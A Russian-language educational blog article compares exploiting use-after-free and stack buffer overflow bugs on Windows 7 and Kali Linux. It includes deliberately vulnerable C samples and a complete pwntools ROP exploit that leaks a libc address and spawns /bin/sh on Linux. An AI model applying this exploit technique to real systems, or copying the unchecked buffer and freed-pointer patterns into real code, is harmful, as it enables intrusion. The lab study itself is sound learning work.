Уязвимости ПО на различных ОС

Уязвимости ПО на различных ОС

Каждый, кто начинает изучать уязвимости программного обеспечения и их эксплуатацию, рано или поздно начинает задаваться вопросами: откуда берутся методики написания эксплойтов? Почему современное ПО содержит уязвимости? Насколько операционные системы с точки зрения проведения атак на ПО отличаются друг от друга? В данной статье будет рассмотрен подход к исследованию уязвимого ПО на различных операционных системах: какие есть особенности, какую систему лучше выбрать в качестве тестовой и какие выводы можно сделать.

Уязвимости ПО на различных ОС

Почему существуют уязвимости и атаки

Атака — это процесс, нарушающий установленный в системе порядок. В контексте программного обеспечения такое воздействие может быть эквивалентно созданию состояния неопределенности: в этом случае состояние структур, используемых для работы программного обеспечения, может стать нестабильным. Атаки могут иметь серьезные последствия: от сбоя до потери пользовательских данных, поэтому изучение корней проблемы актуально сегодня. Чтобы понять, почему в приложении обнаруживаются уязвимости ПО, обратимся к основному «родителю» любого программного обеспечения — языку программирования. Объектом нашего исследования будет язык программирования C: многие части популярных операционных систем до сих пор пишутся с его использованием или из его эволюционной версии C ++.

Язык программирования C — это, по сути, набор команд, которые позволяют операционной системе взаимодействовать с устройствами и, таким образом, раскрывать их функциональность в полной мере. Для использования языка программирования в большом количестве систем необходимо, чтобы все его команды и результаты их выполнения всегда имели предсказуемые значения. Единственный способ добиться этого — создать стандарт, описывающий каждую конструкцию и команду языка программирования. За время существования языка программирования C было создано 6 версий стандарта (C89, C90, C95, C99, C11, C18).

В стандартах мы находим концепцию неопределенного поведения, используемую в разделах, посвященных переносу программного обеспечения на различные архитектуры. Термин неопределенное поведение обозначает любую ошибку или непонятную ситуацию, результаты которой невозможно предсказать заранее.

В контексте ПО, написанного на С, в большинстве случаев это проблемы с памятью, работой с системами ввода/вывода, синхронизацией доступа к ресурсам информационной системы. Неопределенное поведение может случится по причине следующих ошибок при написании софта:

  • Race Condition

  • Integer Overflow

  • Buffer Overflow

  • ….

Здесь вы можете найти полный список наиболее частых проблем. Именно из-за них возможны атаки на программное обеспечение, поскольку каждая из них так или иначе может рассматриваться как уязвимость, подлежащая дальнейшей эксплуатации в своих целях.

Противодействие атакам

Проблемы безопасной разработки программного обеспечения известны и описаны давно, поэтому при изучении языка программирования для написания приложений используются наборы «хороших» правил кода. Быстрый поиск в Интернете может дать многие из этих рекомендаций.

Однако сегодня при всей сложности проектов кодирования и даже при использовании всех правил безопасности возникают ошибки, которые приводят к образованию «ахиллесовой пяты» программного обеспечения. Для сохранения приложений и операционной системы в этом случае используются технологии защиты, которые интегрированы на уровне ОС.

Количество и сложность механизмов защиты от программных атак в разных операционных системах различаются. Например, разработчики операционной системы Linux считают, что для операционной системы важнее функциональность, чем защита. Напротив, можно назвать операционную систему Windows, которая разрабатывает технологии защиты в виде стека на уровне операционной системы. Насколько эффективны механизмы? Это тема для отдельной статьи. В защиту операционной системы Linux можно сказать, что были предприняты попытки сделать ее более безопасной с точки зрения разработки программного обеспечения, но что-то пошло не так, и теперь исправления безопасности продаются как отдельный проект.

Портирование атаки

Представим себе сценарий — мы хотим изучить подход к эксплуатации уязвимостей Stack Buffer Overflow и UAF. С чего можно начать изучение? План изучения:

  1. Найти описание особенности уязвимости;

  2. Найти или создать уязвимое приложение;

  3. Попытаться создать эксплойт, если не получилось эксплуатировать уязвимость — выяснить, какие механизмы защиты применены в ОС и попытаться их обойти (ведь именно они могут защищать приложение от эксплуатации его погрешностей).

В качестве тестовых будем использовать Windows 7 x86 и Kali Linux.

Особенности уязвимости: UAF

Описание уязвимости можно найти на ресурсе. Если вкратце, то данный тип уязвимостей связан с использованием объекта после его освобождения. Следовательно, атака должна создать на месте освобождаемого объекта тот, который позволит выполнить произвольный код. Графическое представление уязвимости ниже.

Уязвимости ПО на различных ОС

В качестве упражнения попробуйте найти пример уязвимого приложения для ОС Windows (любой версии), которое будет содержать UAF. Также подобных приложений много для ОС Linux. Попробуем адаптировать одно из таких приложений: чтобы оно было скомпилировано и для Windows, и для Linux, а также уязвимость воспроизводилась на обоих системах.

Уязвимое приложение: UAF

В качестве подопытного будем использовать следующее приложение:

#include <malloc.h>
#include <stdio.h>
typedef struct UAFME {
    void (*vulnfunc)();
} UAFME;

void first(){
    printf(“It is First\n");
}

void second(){
printf(“It is second\n");
}

int main(int argc, const char * argv[]){
    UAFME *malloc1 = malloc(sizeof(UAFME)); //Allocate struct
    malloc1->vulnfunc = first;
    printf("[i] first at %p\n", first);
    printf("[i] second at %p\n", second);
    printf("[i] Calling malloc1's vulnfunc: \n");
    malloc1->vulnfunc();
    free(malloc1);//error here
    
   long *malloc2 = malloc(0);
   *malloc2 = (long)second;
    
   malloc1->vulnfunc();//trigger UAF
    
}

Скомпилируем код под Windows и Linux:

Уязвимости ПО на различных ОС

Запуск на Linux:

Уязвимости ПО на различных ОС

апуск на Windows:

Поведение ОС: UAF 

Уязвимость UAF в операционной системе очень сложно отследить, и для каждого отдельного случая следует писать специальные меры противодействия. Сам класс уязвимостей работает на основе доступа к данным, поэтому реализация защиты обычно представляет собой проверку целостности структур, важных для процесса. В нашем случае приложение не имеет доступа к этим структурам, поэтому никакой механизм защиты Windows и Linux не приведет к аварийному завершению работы приложения: процесс продолжит работу, что является проблемой безопасности и может быть использовано. Исходный пример самодостаточен и показывает, что эти уязвимости чаще всего используются из-за функциональности приложения. Что касается различий в реализации операционных систем, как указано выше, операционная система больше не важна, если ошибка заключается в неосторожных действиях самого приложения с памятью.

Особенности уязвимости: Stack Buffer Overflow

Уязвимость, которая имеет наибольшую популярность на сегодняшний день. Механизм работы Stack Buffer Overflow заключается в следующем. Данные, помещенные на стек, перетираются другими данными, заполняемыми в объекте, в котором не верно проверяется их размер. Картинка взята отсюда.

Уязвимое приложение: Stack Buffer Overflow

В качестве тестового будем использовать следующее приложение:

#include <stdio.h>
#include <unistd.h>
void vuln(){
    char buf[50];
    read(0, buf, 256);
}

void main(){
    write(1,”Hello Overflow\n",10);
    vuln();
}

Скомпилируем приложение для Linux и для Windows:

В полученные файлы для защиты от атак добавляются специальные данные о механизмах защиты.Они помогают операционной системе противодействовать атакам. В ОС Linux посмотреть эти данные можно через специальную утилиту checksec.

Полный список технологий защит, которые были получены через вывод инструмента checksec, можно найти тут.

Для операционной системы Windows такой список просто утилитой получить не удастся. Вместо этого необходимо запустить приложение в ОС. А потом просмотреть установленные механизмы защиты для работающего процесса. Сделать это можно например утилитой EMET. Полученный вывод для нашего приложения:

Даже не разбираясь, какой механизм от какой атаки защищает, список достаточно внушительный. 

Эксплойт для уязвимого приложения: Stack Buffer Overflow

Самый простой тип уязвимости с точки зрения написания эксплойта. Проанализировав все механизмы защиты, которые задействованы в Linux, становится ясно, что единственный механизм   — “NX Bit”. По всем описаниям в сети обойти данный механизма можно с помощью ROP. Для написания эксплойта будем использовать автоматизацию — pwntools для Python. Тогда скрипт для атаки на операционной системе Linux может иметь такой вид:

from pwn import *
from struct import *

binsh = "/bin/sh"

stdin = 0
stdout = 1

read_plt = 0x8048300
read_got = 0x804a00c
write_plt = 0x8048320
write_got = 0x804a014

#32bit OS - /lib/i386-linux-gnu/libc-2.23.so
read_system_offset = 0x9ad60
#64bit OS - /lib32/libc-2.23.so
#read_system_offset = 0x99a10
writableArea = 0x0804a020
pppr = 0x80484e9
payload = "A"*62

#read(0,writableArea,len(str(binsh)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(writableArea)
payload += p32(len(str(binsh)))

#write(1,read_got,len(str(read_got)))
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(stdout)
payload += p32(read_got)
payload += p32(4)

#read(0,read_got,len(str(read_got)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(read_got)
payload += p32(len(str(read_got)))

#system(writableArea)
payload += p32(read_plt)
payload += p32(0xaaaabbbb)
payload += p32(writableArea)

r = process('./test2')
r.recvn(10)
r.send(payload + '\n')
r.send(binsh)
read = u32(r.recvn(4,timeout=1))
system_addr = read - read_system_offset
r.send(p32(system_addr))
r.interactive()

Эксплойт под Windows c применением ROP не дал результатов. Вывод его работы можно увидеть ниже.

Необходимо проводить дальнейший ресерч обходов защит системы. Против эксплойта сработали следующие механизмы защиты: SimExecFlow, DEP, SEHOP.

Вывод

Как видите, подходы к обеспечению безопасной работы приложений в операционных системах Linux и Windows различны. В случае Linux можно было использовать присущую приложению уязвимость. А Windows вовремя остановила приложение. Исследователи системной безопасности должны помнить об этом. Так что новичку следует использовать Linux в качестве отправной точки для тестирования уязвимых приложений. И искать в Windows лучшие методы обхода защиты операционной системы.

 

 

Click to rate this post!
[Total: 0 Average: 0]

Leave a reply:

Your email address will not be published.